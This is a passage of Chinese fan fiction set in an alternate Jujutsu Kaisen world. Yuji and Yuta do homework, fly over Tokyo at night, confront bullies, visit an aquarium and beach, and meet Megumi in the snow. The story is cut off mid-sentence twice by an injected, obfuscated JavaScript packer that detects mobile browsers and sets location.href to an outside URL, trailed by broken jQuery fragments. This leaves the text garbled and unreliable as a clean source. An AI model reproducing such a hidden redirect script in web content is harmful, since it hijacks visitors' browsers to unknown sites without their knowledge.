收拾东西的时候,乙骨忧太忽然问道。他久久没能得到回应,于是起身疑惑地回望,结果看见了已经石化在原地的虎杖悠仁。
“......至少上午的时候写了一部分?”
虎杖悠仁露出流泪豆豆眼,一个翻滚扑到了乙骨忧太的脚边,抱住了他的腿:“救、救命啊——忧太——”
乙骨忧太叹了口气。如果虎杖悠仁放假的时候也将作业都推到最后一天完成,他简直不敢想象开学前的最后一晚会发生什么。感觉一定会通宵的吧?!
虎杖悠仁还在哭号:“数学——至少数学——我不想做计算题啊!”
“不要再抱怨啦,”乙骨忧太将吸着鼻子装可怜的虎杖悠仁从地上拎了起来,放到了书桌旁,“悠仁自己能完成的吧?怎么就是那么不喜欢算术啊......”
明明小测的成绩很好来着。
“相性不合?”
虎杖悠仁叼着笔杆,蔫头耷脑地摊开作业本。
乙骨忧太正在清洗他们的碗筷,一会儿要送还到一楼去。很快房间里只剩下哗啦啦的流水声与笔尖摩擦纸张的声音,里香从影子里伸出一只手帮乙骨忧太托着洗好的碗筷,省得他多次往返于浴室和客厅之间。
“谢谢你,里香。”
里香在影子里发出轻微的咕哝声。
咚。
乙骨忧太回头,果不其然看到虎杖悠仁揉着脑门坐直身子的背影。他关上水龙头,盯着圆圆的后脑看了一会儿,在看到那颗粉色的脑袋不自觉地一点、一点的时候,嘴角悄悄地向上扬起。
他们曾经在乡下的村子里自学过的那些内容非常细碎且不成章法,但在学校学习的过程中仍或多或少提供了一些帮助,至少会让他们对某些内容产生熟悉感。相比之下,需要从认字开始学习的枷场姐妹在正式入学前的半年左右度过了一段比较苦手的时间,好在她们肯努力,又有夏油杰偶尔的指导和虎杖悠仁与乙骨忧太的帮助,学校的学习已经不会对她们造成太大的困扰了。
“我去送碗筷。”乙骨忧太带着里香出门前提高了一些音量,告知虎杖悠仁自己的去向,得到了迷迷糊糊的“好哦”。
听到关门声,刚才还游走在坠入梦境的边缘的虎杖悠仁突然变得清醒了一点。房间里的温度还保持在略低的温度,是因为刚才的房间里塞满了人,而且他们吃的又是寿喜锅,所以特意将空调温度调低了。
现在只有他一个人在屋子里,他起身拿到了空调遥控器,将温度向上调了一些。一般晚上他们也会开着空调,不过这样的话在早晨起来屋子就会充满“被呼吸过”的味道。有的时候虎杖悠仁早上醒来会发现空调已经被关上了,取而代之的是从不知何时被打开的窗户外吹来的晨风。
每到这种时候,他都觉得自己睡得太实这件事也没有别人羡慕的那么好。脑袋里想着乱七八糟的事,虎杖悠仁快速做着算术题,下笔的速度很快,几乎没有任何停顿。
等到乙骨忧太从楼下回来,虎杖悠仁刚好合上作业本。
“忧太,”他将身体转过来,趴在椅背上,“我们去看星星吧。”
乙骨忧太立刻同意了:“正好可以去把垃圾丢掉。我们到楼顶看星星吗?”
虎杖悠仁觉得教会里最高的地方肯定能够看到星星,但是当里香带着他们上到堆满杂物的天台上后,他们有些失望地望向黑得不是那么纯粹的夜空。
城市夜晚的灯光太亮了,只有那几颗最闪亮的星星能够在透着点儿红的深灰色天空上现出身影,曾经在村子里见过的漫天繁星都被周围的光亮吞噬,黯淡到无法被他们的双眼捕获。
比起天上的星星,地面上光更引人注目。
虎杖悠仁有了一个绝妙的想法。
他拉住了乙骨忧太的手,视线交汇,没等乙骨忧太说出拒绝的话,他们就一起向天上飞了起来。
“呜哇?!”
“哈哈——要抓紧我,忧太!!”
他们像是被解开了束缚的氢气球一样慢慢地升空,大地对他们格外宽容,身体轻盈得可怕。虎杖悠仁带着乙骨忧太飞得足够高,直到快要接触到“帐”的顶端才停了下来。
夏季高空的夜风吹着他们的鬓发,从领口灌入衣服,洗去了燥热。他们没有被风吹走,还稳稳地停留在原地。
开阔的视野让人心旷神怡,既然看不了天上的星星,那就看看地上的“星星”吧。
远处市中心亮起的橙黄色光芒倒映在两个孩子的眼瞳里,乙骨忧太很快就适应了失重带来的不适,他将信任全然交予虎杖悠仁,所以他并不害怕高空带来的恐惧。
“好多人......”
他听到了虎杖悠仁的自言自语,目光随着马路上整齐亮起的路灯穿梭在高楼大厦之间,又闪进光影柔和许多的居民区和独栋公寓群,偶尔能看到亮起的自行车灯经过。砍得更远一些,有的方向隐隐约约能够感受到光源,有的方向则是完全的漆黑。
乙骨忧太猜测那应该是东京湾的方向——虽然他对在这里能否真正看见那片海湾并不能给出确切的答案,他应该只是脑海里还记得虎杖悠仁想要去海边玩的事情。
是啊。
人太多了。
此时此刻,住在他们脚下这片区域里的人——诅咒师们——以杀死所有非术师为目标。
简直就像做梦一样,他们目之所及甚至只是东京都的一角,而这群人想要用诅咒的火焰点燃全世界。
抉择的高墙终有一天会倒塌,他们只能选择站在墙下祈祷高处的砖块不会碰巧砸向自己的脑袋上,又或者在高墙倾塌之前明智地提前远离危险地带。
“忧太,你最近还在做噩梦吗?还在梦见里香吗?”
虎杖悠仁的呼唤将他的思绪拽了回来,在夜空下失重令他的大脑无法对粉发孩子的问话做出及时处理,所以隔了很久,他才勉强回答道:“偶尔......只有几次吧。”
这次轮到虎杖悠仁沉默了很久。他们在高空中已经待了太长时间,乙骨忧太在脚下较矮的地方看到了盘旋着的咒灵。显然夏油杰已经发现了他们大胆的行为,但是并没有选择亲自过来揪他们回到安全的地面上。
他们开始缓慢地下落,随着高度逐渐降低,虎杖悠仁的话像是风一样萦绕在乙骨忧太的耳边:“等找到解开里香的诅咒的方法之后......”
“......我们就逃走吧。”
乙骨忧太觉得自己回答了“好”,或者是“没问题”。
半夜不睡觉还做出危险行为的两个孩子被夏油杰教训了一顿,虎杖悠仁得到了一个不知意义的摸头,然后就被推上了楼梯。乙骨忧太和他一起被训,垂着头一前一后走上二层,在确认夏油杰已经看不到他们之后,相互对视一眼,一起偷偷笑了起来。
“给我乖乖回去睡觉!”
夏油杰的警告声转过楼梯传上了二楼偷笑的孩子们耳中,惊得他们立刻跑回了房间。
关上门,虎杖悠仁就呼出一口气,有些发愁地抱怨道:“完了,我现在又觉得刚才说的话不太好。”
人的想法实在是善变,哪怕刚说出口的话都有可能在下一秒觉得后悔。看到夏油杰,虎杖悠仁又念起他这一年对他们的照顾,就那样一走了之会让他心里觉得有些过不去。
所有的恩惠都是有代价的。他们在未来成长的过程中需要依赖夏油杰为他们提供的生活保障,不论夏油杰本人是怎么想的,他们都会想方设法来偿还这份恩情。
乙骨忧太有时也会想,如果他们没有和夏油杰一起离开,而是去找了虎杖悠仁的妈妈,究竟哪一方的恩情偿还起来会更轻松一些呢?
又或者,当时他就应该直接带着虎杖悠仁独自离开,哪怕过得辛苦一些,也......
“明天在哪儿揍他们比较好呢?”
......不,事到如今再做另外的假设毫无意义,甚至显得他好像永远都在逃避一样。现在的生活是他们自己选择的,至少到目前为止,夏油杰从没有强迫他们做任何事。
逃走——这的确是一个充满诱惑力的提议,逃离这一切,只有他们两个人和里香,去一个没有人认识他,不必再思考诅咒与咒灵、术师与非术师、孰对孰错这些沉重到足以把心压垮的问题。但正如虎杖悠仁犹豫的,也是他自己无法轻易切断的——他们已经在这里拥有了羁绊与联结。
偿还恩情,说来简单,但究竟要如何做呢?这里给了他们可以吃饱穿暖、安然入睡的“家”,让他们学会如何利用自己拥有的力量......
“忧太?忧太!今晚我能和你一起睡吗?”
虎杖悠仁弯腰在他的眼前挥了挥手,虽然说着疑问句,可他已经将自己的枕头和被子抱在了怀里,大有一种哪怕乙骨忧太拒绝也会在半夜自己爬到他床上去的劲头。
“怎么突然想要一起睡?悠仁都是大孩子了。”
这就是同意了的意思,虎杖悠仁欢呼一声,将怀里的枕头被子扔到了乙骨忧太的床上,扑上去调整位置:“不要总
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378183|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是这么说,你也只比我大一岁而已嘛!”
洗漱之后,他们关灯上床。
这一年里虎杖悠仁又长高了不少,他曾经发誓要努力在身高上超过乙骨忧太,但至少现在这还只是一句口号,黑发的孩子同样在猛蹿个头,每次测量身高的时候都恰好比虎杖悠仁高上那么一点,让他们之间一直保持着细微的差距。
乙骨忧太舔着自己的上面的门牙,最近它开始有些松动,菅田真奈美说这是正常的换牙期,在啃硬物的时候需要多加注意,等它自然掉落就可以了。
偶尔能感觉到从牙龈里散发出来血腥味。
黑暗中,他听到了翻身的声音,一条胳膊和一条腿伸了过来,搭在了他的身上。
小孩子的肢体并不沉,哪怕是壮实得过分的虎杖悠仁,单论手臂或腿也不会让乙骨忧太有被压迫着的感觉。
他将舌头从上颚处收回,远离了能够勾起不好回忆的味道。
“......忧太赶快睡觉吧,”虎杖悠仁的声音小小的,就在乙骨忧太的耳边,“明天跟我一起去揍人......”
话没说完,他自己就先睡了过去,最后几个字在齿间撵磨细碎,掉了出来。
揍、揍人......?算了,有自己跟着,总不会闹出太大的动静......的吧?
被这样一打岔,乙骨忧太有些哭笑不得地伸手摸了摸被子的边缘,确保虎杖悠仁没有把自己另外的胳膊或者小腿伸出去之后,也歪着头迷迷糊糊地睡了过去。很快,屋子里就只剩下均匀的呼吸声与空调运转时的微小噪音。
一夜无梦。
清晨时分,乙骨忧太醒得很早。他小心翼翼地挪开换了个姿势缠在他身上的虎杖悠仁,关掉空调打开窗户,让晨风吹了进来。窗台上摆了一排小花盆,平日都是虎杖悠仁在鼓捣这些花花草草,他可以清楚地记住每个花盆里种的是什么种子,乙骨忧太在它们破土而出前总是会忘记。
他先去将自己收拾了一番,忍不住对着镜子晃了晃自己的牙齿,在把自己看得发毛之前离开了浴室。拎着小水壶将窗台上的花草全都浇了一遍,乙骨忧太回到床边叫虎杖悠仁起床。
看他趴着的姿势就知道他已经醒了,只不过还赖在床上不想起来。
“昨晚做噩梦了吗?”虎杖悠仁将脸埋在被子里,只露出一双眼睛。
“没有哦。”
粉发孩子一下子把脸抬了起来,笑道:“那就好!”
他迅速起床收拾床铺,浑身干劲十足:“今天我来取早餐吧!”
“那拜托你了。”
“交给我吧!”
虎杖悠仁推开门时走廊里安安静静的,枷场姐妹的房间里也没有动静,估计还没有起来。他雀跃地跑下了楼梯,正巧碰见经过走廊的夏油杰,活力满满地打了声招呼,他三步并作两步冲进了小餐厅。
这里被设计成了开放式厨房的模样,后厨前围着一圈小吧台,被半扇酒水柜隔开前后。有的时候能看见菅田真奈美或者祢木利久在这边喝酒或者喝咖啡,不过现在这里只有正在准备早餐和便当的厨师先生。
今天是三明治和牛奶,虎杖悠仁直接一口气拎走了四份。
敲了枷场姐妹的房门,告诉她们早饭放在门外了之后,虎杖悠仁回了自己的房间。
“中午好像是金枪鱼蛋黄酱饭团,我还闻到了炸鸡块的味道。”他将早饭摆好,乙骨忧太已经替他收拾好了书包。
“终于不是姜汁烧肉了吗?”
“我猜是夏油先生吃腻了!”
去到教室的时候,能够听到很多同学都在讨论昨天的远足。看到他们进来之后,围坐在枷场姐妹课桌旁的孩子让开了过道,停止了交谈。好在她们很快又离开了教室,大概是去没什么人的天台楼梯转角待着,直到打了上课铃才会回来。
比虎杖悠仁来得更早的邻座斋藤避开了他的视线,虎杖悠仁放下书包,将便当收进课桌里,掏出了作业本。
不知为何,班主任一直没有来找他。毕竟远足前一天扶着斋藤离开的老师曾说要将情况告知他的班主任,在拒绝解释的时候虎杖悠仁就做好了可能会惊动夏油杰的准备,但他没有等到任何来问责的电话,而班主任也没有想要与他单独谈话的意思,看上去就像那天发生的事只在那晚的当事人们心中留了下来。
乙骨忧太留意到了陡然增加的隐秘视线。
他不知道虎杖悠仁有没有察觉到,亦或者他注意到了却装作不在意的样子。
看来那天的事并非仅在当时在场的人之间流传。
这只是众所周知的、必然会发生的事呐。虎杖悠仁知道并理解,选择了不在意。
放学的时候,除了留下做值日的学生,其他人几乎都三三两两成群结队地离开学校,斋藤更是一放学就跟在一群学生的身后一起离开了。
聚集在一起就可以尽量避免被“选中”,融入人群就有机会从“个体施暴者”的目标中被剔除,他们最喜欢那些独来独往、既不肯混进同类中又没有反抗力量的弱小者。所以哪怕斋藤与周围的大部分人素不相识,但他们的眼中都有同一种需求与恐惧,凑在一起躲避外在的危险。
简直就像是抱团生活在野外的食草动物。
45. 第 45 章
虎杖悠仁在小巷里找到那群高年级不良的时候,他们正在享受自己找到的新猎物。
受欺凌者的身上往往会散发出一种相似的气息,他们总是瑟缩着肩膀、眼神不愿与人交汇,害怕着身边的人靠近又渴望着救赎。
虎杖悠仁原本也是这样认为的,但靠坐在巷子里的孩子却不接受他伸来的手。
“......谁叫你多管闲事。”
也有人不想被拯救。
虎杖悠仁弯腰将他拉了起来,从容地说:“随便你啦,我只是不希望你在今天死掉而已,更主要的是我想揍他们一顿。”
他已经告诉那群高年级的小混混,如果再让他碰见他们勒索其他孩子,他还会继续找上门来揍人。至少刚才他们鬼哭狼嚎着离开时的连声答应听起来还算比较有诚意。
“悠仁,要走了。菜菜子她们已经打扫完卫生了。”乙骨忧太站在巷口,招呼虎杖悠仁回家。
粉发孩子跑了两步,笑嘻嘻地和同伴们汇合,消失在了巷口的阳光里。
留在阴影中的孩子捂着肿起的嘴角,被狠狠踢击过的腹部仍在隐隐作痛,望着那片可望而不可及的太阳,浑身发冷。
“和一群猴子有什么可计较的......你觉得开心了?”枷场菜菜子摆弄着书包上的挂件,拉着美美子的胳膊吐槽虎杖悠仁的做法。
“不然的话看见他们就会觉得很不爽,”虎杖悠仁看到了便利店,“我想去买雪糕,你们要吃吗?”
三只手齐刷刷地举了起来,虎杖悠仁任劳任怨地跑去了马路对面的便利店。
自动门叮铃响了一声后向两侧滑开,虎杖悠仁踏进空调温度极低的便利店,直奔冰柜挑选大家爱吃的雪糕。冰柜旁边就是塞满杂志的货架,在虎杖悠仁挑选雪糕的时候,看到有人拿走了一本表面包裹着不透明袋子的杂志,他这才注意到放置在货架顶层和最底部的杂志都看不到封面。
这吸引了虎杖悠仁的注意力,这个人是怎么知道看不见封面的杂志究竟包含了哪些内容呢?
收银员和顾客却丝毫不觉得有任何问题,在扫过商品条码之后,收银员向顾客要走了年龄证明。虎杖悠仁就排在他的身后,在付过雪糕的钱款之后,虎杖悠仁和拿着杂志的顾客一前一后地走出了便利店。
令他感到惊讶的是,那个人在离开便利店后,将手中的杂志交给了一个跨坐在护栏上的初中生模样的少年,并从少年手中收走了报酬。
“你买的这个是什么?”
少年低头,看见一个戴着小黄帽的小学生举着四根雪糕好奇地问他。
虎杖悠仁听见他古怪地笑了两声,用看不清封面的杂志挡住脸,悄咪咪地说:“这个是‘那个’啊。”
“哪个?”
“小黄书,”少年被问得烦了,挥手驱赶道,“吃你的雪糕吧。”
虎杖悠仁以最快的速度穿越了马路,将雪糕递给了期待地看着他的枷场姐妹。乙骨忧太从他手里接过的时候问了一句:“刚才在和那个人说什么?”
粉发孩子撕开包装,龇牙咧嘴地咬了一口酸奶味的雪糕,有些冻牙:“我问他买了什么。”
他还是没明白小黄书是什么东西,也不知道为什么购买这个看不清封面的东西需要向收银员出示年龄证明。
枷场菜菜子听了他的话在手机里搜了一下,差点把他的头打出满头包:“悠仁——!!!你给我少和那种不三不四的猴子说话!!!”
她捏着手机迅速删除了搜索记录,有些嫌弃地抱怨“手机变脏了”,枷场美美子也义正词严地要求虎杖悠仁不许搜索那些下流的东西。
孤身在闭塞落后的乡下村子相依为命的女孩子们比虎杖悠仁和乙骨忧太更早地理解了大人世界中的另一种肮脏。
虎杖悠仁连声答应,被枷场姐妹狠狠地“清洁”了一番,带着一身的酒精味推开了房门。
——
生活按部就班地走着,房间里属于他们的东西越来越多。窗台上养的小番茄只有一株成功结出了果实,只不过本应红润的果实却泛着青色,直到不得不将它们摘下来,虎杖悠仁才确信它们不是因为尚未成熟才显现出不同寻常的颜色。
怀着忐忑的心情咬了一口,闭着眼睛、没抱任何期望的虎杖悠仁的味蕾尝到了酸甜的味道。尽管酸涩占了大头,但好歹还有些甜味当作调剂,并不是特别难以下咽。
唯一一盆结果的小番茄被切开摆在盘子里,洒上了过量的白糖送入了枷场姐妹和夏油杰的房间里。数量不多,每一盘里只有四五个,当作下饭的小菜正好。
“很厉害哦,悠仁。你们自己吃过了吗?”
“我和忧太都已经尝过了,剩下的都给了菜菜子和美美子。”虎杖悠仁回答道。
“那就多谢你们了。”夏油杰收下了这盘糖蘸小番茄。
晚上,虎杖悠仁和乙骨忧太在新收拾出来的地铺上一起看电影。不是什么很有名的片子,也不是能够让人肾上腺素飙升的动作片,只是虎杖悠仁从电视机自带的影片库里随便选出来的一个。
现在正在放暑假,他们晚上不必睡得太早。
虎杖悠仁抱着枕头,屋里没有开灯,所有的光线全部来自电视里播放的这部色调柔和发冷的电影。油画一样的画面一幕幕闪过,却只化作停留在视网膜上的反光,没能走进他的心里。
“在想什么?”
虎杖悠仁的眼睛动了一下,转向乙骨忧太的方向。
“......没什么哦。”
“说谎,太明显了。”
虎杖悠仁直接倒在了被褥上,蜷着身体开始四处打滚,乙骨忧太能够听到一些哼哼唧唧的声音。
他少有这样不说话、兀自纠结思考的时候,尤其是这一次......乙骨忧太回忆了一下他们最近所有的对话,完全想不到虎杖悠仁是在因为什么而变得犹犹豫豫,心里有事藏都藏不住。
等了一会儿,虎杖悠仁仍没有向他倾诉的意思,所以乙骨忧太也就暂时不再逼迫他说出来:“电影还要继续看吗?你完全没在意它说了什么吧?”
“......要看。”
好吧。乙骨忧太坐回了原位,陪着虎杖悠仁继续观看男女主角在森林里的浪漫约会。
乙骨忧太忽然一愣,不可置信地猜测道:“悠仁,你难道......还在想小黄书的事情吗?!”
隔壁正在研究口红色号的枷场姐妹听到了一声足以掀翻天花板的“才不是啊!!!!”。
“那两个笨蛋又在搞什么?”
“不知道。”
虎杖悠仁不是那么“乖巧”的孩子,在没能从枷场姐妹口中得到解答之后,他曾自己偷偷在网络上搜索过那是什么东西。自己看的时候没什么特别的感觉,可是一被乙骨忧太戳穿,他感觉整个人都像是火焰一样燃烧了起来。
脸颊上升腾的温度不容忽视,为了压下这股羞耻感,他立刻转移了话题。
“我、我就是在想,”他噗得一下将下半张脸埋进柔软的枕头,半露出透着点红色的脸颊,“男人也可以成为‘妈妈’吗?”
乙骨忧太调小了电影的声音,将自己换了个方向坐着:“是因为悠仁的妈妈?”
虎杖悠仁已经开始在意起了“性别”。妈妈实在给他带来了太多的困扰。
乙骨忧太不喜欢悠仁的妈妈,从他当着他和祈本里香的面将虎杖悠仁带走时起,那蛇一样冰冷的眼神就令他感到后脊发冷,只要一想起那个人就会觉得生理性厌恶。
虎杖悠仁悄咪咪地看着乙骨忧太的表情。每个月当他收到妈妈寄来的零花钱的时候,乙骨忧太总会不自觉的露出一副心事重重的样子,所以虎杖悠仁一般不会在乙骨忧太面前说起妈妈了。
“我......”
乙骨忧太垂着头,不知不觉长得有些过长的黑发遮住了他的眉眼,发出的声音似乎也被藏在了后面。没有听清的虎杖悠仁歪歪头,躺倒在褥子上转到了乙骨忧太身前,仰面朝上的话正好能够看见黑发孩子垂下的脸上究竟是什么样的表情。
“我可不会把悠仁让给他。绝对。”
——这个人可能会让虎杖悠仁得到幸福,因为他们是真正的家人。
然而这样的想法却被膨胀的自私打败了,他以为自己能够忍受,可事实上仅仅是想到虎杖悠仁和那个人站在一起的模样就会觉得坐立难安,危险与不爽的感觉交织在心间,浓郁复杂的负面情绪化作不受控制的咒力从他的身体里溢出。
电影结束后,虎杖悠仁躺在自己的床位上,破天荒地没有立刻入睡。
眼皮已经开始打架,可就算将泛酸的双眼紧闭,他也依旧无法进入梦乡。这具躯体已经疲惫到了极致,但他的心脏依旧快活地跳跃着。他第一次觉得自己的心跳声这么大。
好热啊。
在假期的某一天,他们一起去了葛西临海公园里的水族馆。虎杖悠仁带着相机和许多提前准备的相纸给所有人拍了很多照片,这一次不光是他们和枷场姐妹,夏油杰、菅田真奈美、祢木利久和一个黄头发的外国人也一起过来了。
大人们和他们约定在水族馆外的空地见,于是孩子们兴冲冲地自己冲进了幽蓝色的场馆。
水族馆里的空调温度很低,裸露在外的皮肤能够感受到湿漉漉的水汽,偶尔能听到白鲸的叫声。枷场姐妹最期待的是和海洋动物亲密互动的机会,所以一进馆就去排队了,借走了虎杖悠仁的相机。
虎杖悠仁拉着乙骨忧太去了海底隧道,无数海洋生物从他们头顶正上方游过,海水将所有人都衬得黑漆漆的,看什么都仿佛覆上了一层蓝色的薄膜。
他们蹲在水箱前看白鲸吓唬小孩,虎杖悠仁对着好奇地游过来的海豹做鬼脸,引得一只笨笨的海豹没有看路,直接撞上了玻璃,扁扁的脑袋像摊开的面饼一样将本就看不见的脖子压得彻底消失,虎杖悠仁指着它说:“忧太!它真的好像烤红薯!”
和枷场姐妹在场馆的某处汇合,他们一起去看了海洋表演。虎鲸用尾巴将水泼向他们坐着的区域时,枷场姐妹撑起雨伞护住了自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378184|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己,但虎杖悠仁拉着乙骨忧太直面泼来的海水,两个人看着被淋透的对方笑成一团。
虎杖悠仁甩头的时候被枷场菜菜子吐槽像是一只甩水的小狗,并且警告他不许将水甩到她们这边来。
“你们这衣服是怎么回事?掉进水箱里和海龟玩去了吗?”菅田真奈美看见两个男孩子的样子就觉得头痛。
“是虎鲸!”虎杖悠仁举手即答。
乙骨忧太露出一个憨厚的笑容,这下菅田真奈美也不好说什么了。黑发的孩子平日里很稳重,不是会瞎胡闹的类型,今天却和虎杖悠仁一起过分地玩了一次......夏油杰看着他们奔向浅滩的背影,轻笑着说:“随他们去吧,左右不会生病。”
拉鲁考虑到可能会被公园拒绝入园,穿上了一件白衬衫,没让自己直接赤裸着上身过来。
“小杰,大家都是为了你口中的那个理想世界才聚集在一起的,”拉鲁双手抱臂,跟着他们一起向孩子们跑远的方向慢悠悠地走着,“你的计划有不可忽视的问题。”
夏油杰摆出一副洗耳恭听的模样,让拉鲁继续说下去。
“我知道你们本土已经出现了能够被冠以最强之名的六眼术师,无论如何,我们都不可能绕过他。”
祢木利久用仅剩的一只眼睛看着夏油杰:“你们不是同学吗?没可能把他也拉过来吗?”
夏油杰耸肩摊手:“没办法,我们已经闹掰了。”
“那,如果——”
“如果你想说有没有机会干掉他,”夏油杰直接打断了祢木利久,“不如期待一下他哪天脑子短路倒戈到我们这边来还更有可能性一些。”
四个大人谈论着孩子们听不见也听不懂的事,虎杖悠仁将鞋子套好塑料袋装回书包里,赤脚踩上了有点像泥巴又有点像沙子一样半干的海滩。
即便被太阳炙烤着,可脚下传来的依旧是冰凉滑腻的触感。这是他们第一次见到大海——尽管东京湾只是一个海湾——虎杖悠仁悄悄用手指沾了一点海水放到嘴巴里,立刻被又咸又苦的味道刺激得直吐舌头。
乙骨忧太学着他也尝了一下,露出了同款痛苦表情。
当他们正想继续向前走的时候,有一只咒灵拍了拍他们的腿,然后张开了嘴巴。虎杖悠仁四下看看,趁着周围没人注意的时候将背包扔进了咒灵的嘴巴里,其他孩子也依次将背包丢了进去。
夏油杰并没有看向他们的方向。
这下毫无顾忌的虎杖悠仁直接向海岸的更深处走去。
枷场姐妹只在浅滩附近淌水玩,乙骨忧太追着虎杖悠仁而去。反正他们都带了可以换洗的衣物,本来就做好了下水玩的准备。
虎杖悠仁走到了摇晃着的海面正好到他膝盖附近的位置停了下来,弯腰在海水中摸着什么,没有注意到衣服下摆已经接触到了海面。
乙骨忧太感受着双脚在水中行走的阻力,每踩一步都会感觉自己的脚背被一层薄薄的沙子盖上,就像钻入沙层下躲避的海蟹一样陷了进去。他走到虎杖悠仁身后,把粉发孩子的T恤在后腰系了个结,这样下摆就不会耷拉下去了。
摸了半天的虎杖悠仁终于直起腰,从海里拎出一条长长的海带:“我刚才还踢到别的东西了!这里会有鱼吗?”
他将自己的战利品交给乙骨忧太保管,继续淌水弯腰摸着,将附近的海水搅得浑浊起来。他忙活了半天,最后捡到了一副眼镜、一个紫色的发卡和很多大小不一的海带。
“结果都是一群破烂嘛......”虎杖悠仁又亲手将它们扔回了海里。
枷场姐妹不知道从哪里搞到了一个小铲子,她们正蹲在退潮了的浅滩上挖来挖去。女孩子们的战利品可更像样一些,塑料瓶里装了三四个寄居蟹,肢体末端在爬行时发出敲击塑料的声音,贴在耳朵边的话还能听到它们正在吐泡泡。
还是退了潮的浅滩好玩,除了各种螃蟹和贝类,他们偶尔也能在较大的水坑里发现被困在其中的小鱼。
像泥巴一样容易被塑形的沙子成了乙骨忧太的新玩具,他在沙滩上堆出了城堡与各种形象的小人,是他们、里香和枷场姐妹。虎杖悠仁绕着城堡刨出了一条护城河,用塑料瓶将海水盛过来灌满了那圈浅浅的沟渠。
“夏油大人!”
“夏油先生!快看!是海螺!”
大人们看着四个在海边转了一圈之后回来就变得脏兮兮的孩子,忍俊不禁地收下了他们送过来的礼物。有完整的海螺,也有纯白的扇形贝壳和各种漂亮的珊瑚。
孩子们纯粹的笑容——每个人都从孩子们的笑容中看到了不同的东西。
夏油杰替枷场菜菜子抹去沾到下巴上的沙粒,将换洗的衣物交给他们,四个孩子抱着各自的衣服去公共卫生间前排队了。
“真是不错的景色。”拉鲁注视着他们的背影,由衷感叹道。
现在的所作所为不过是在补偿他们本应和其他孩子一样无忧无虑的童年。只是这样一想,周围温馨快乐的场景登时变得不再耀眼,反而显得面目可憎了起来。
46. 第 46 章
皑皑白雪没有遮住山上的绿色,不知为何,虎杖悠仁仍觉得本应掉光树叶的森林在他眼中呈现出了稀疏的、除了纯白之外的色彩。
“你也在等人吗?”他呼出一口哈气,将围巾向上拉了拉,让嘴巴也藏了进去。他的头上还戴着针织帽,毛茸茸的耳罩夹住了双耳,只有露在外面的鼻头被冻得通红。
“......嗯,是个爱迟到的可恶家伙。”
相比虎杖悠仁的全副武装,伏黑惠的装备要简单许多,只有一条简简单单的格子围巾,看上去是家里的女性长辈会喜欢的颜色和花纹。
虎杖悠仁甩着腿。
他努力让自己的目光看起来正常一些,可余光却总是被围绕在伏黑惠身边的一黑一白两只玉犬吸引着,这让他倍感煎熬。
这两只大狗狗他曾经见过,在埼玉的商业街里。没想到居然这么巧,会在这种地方再次遇见。
伏黑惠打了个喷嚏,看着已经快要贴到虎杖悠仁腿上去了的小白,开始怀疑了起来。
连小黑都甩着尾巴,这可不是常见的情况。
“喂。”
“是?”
伏黑惠直接指着玉犬说:“你看得见它们吧?”
虎杖悠仁下意识地随着伏黑惠手指的方向看了过去,和白色玉犬的豆豆眼对上了视线。白色大狗狗的毛发长长的、软乎乎的,扑上去的感觉一定——
“啊。”虎杖悠仁听见小白从喉咙里发出一声厚重的咕噜,然后直接扑到了他的身上。完了!这下子说自己看不见也没有用了,小白的热情实在让人招架不住,虎杖悠仁的双手已经快过大脑开始撸起狗毛来。
“果然。”伏黑惠双手抱臂,面上倒是没有什么其他的表情,这让被戳穿的虎杖悠仁感觉好受了一些。
他小心翼翼地问:“它们是......?”
结果听到了伏黑惠很明显地“啧”了一声。黑发刺毛的孩子直截了当地说:“你知道的吧?上次跟你走在一起的黑头发的家伙身上的是诅咒?你们又是怎么回事?跟诅咒师一起生活吗?还是家里有人是咒术师?”
虎杖悠仁松开小白,挠着头:“啊呀,原来你早就知道了啊。”
这不是显得他装傻很失败嘛!
伏黑惠皱起眉头:“到底是怎么回事?”
“嗯......就是这样那样的原因啦,”虎杖悠仁双手合十,啪地一下拍了一下手,“求求你不要告诉别人?”
伏黑惠挑起一侧的眉毛:“你真的是诅咒师?”
这话换来虎杖悠仁情绪激烈地摇头:“我不是啊!”
“只是......现在因为各种各样的原因生活在一起而已。”
虎杖悠仁靠近一些,问道:“话说回来,上次你换到那个秘密甜品了吗?好吃吗?”
伏黑惠回想了一下五条悟的评价,话到嘴边拐了一个弯:“应该、还不错吧?是家里的大人想吃,他没说不好吃。”
粉发的孩子摆正身子:“这样啊。”
他伸出手逗弄小白,看白色的玉犬时不时从地上直起身子用鼻子顶他的手掌,不自觉地笑了起来。
伏黑惠看了一眼手机,那个说是临时有事要晚些到的家伙自从十分钟前让他在原地等着之外,再没有发过来其他的信息。
结果就在这个冰天雪地的地方碰到了虎杖悠仁。
说是练习祓除诅咒......难道这附近有活跃着的咒灵,所以选定了这附近吗?这家伙也是因此来到这里的吗?
“......”他张口,却发现他们到现在都还没有交换姓名,他一直用“喂”、“你”来称呼对方。
“虎杖悠仁,”粉发的孩子向他伸出手,“我们看起来好像差不多大呢。”
“伏黑惠。”
他们算是同辈,伏黑惠生得比他更早一些,生日在平安夜的前两天。
他刚想继续询问,忽然感觉到了一股不可忽视的庞大咒力接近了这里。这种感觉只要体会过一次就绝不会轻易忘记,这是在埼玉那天和虎杖悠仁一起行动的人身上的咒力!
“抱歉悠仁,等很久了吗?我们走吧。”
虎杖悠仁最后拍了拍小白的头,从坐着的长椅上跳了下来,几步跑到了乙骨忧太身边,从他手中接过了热乎乎的关东煮。
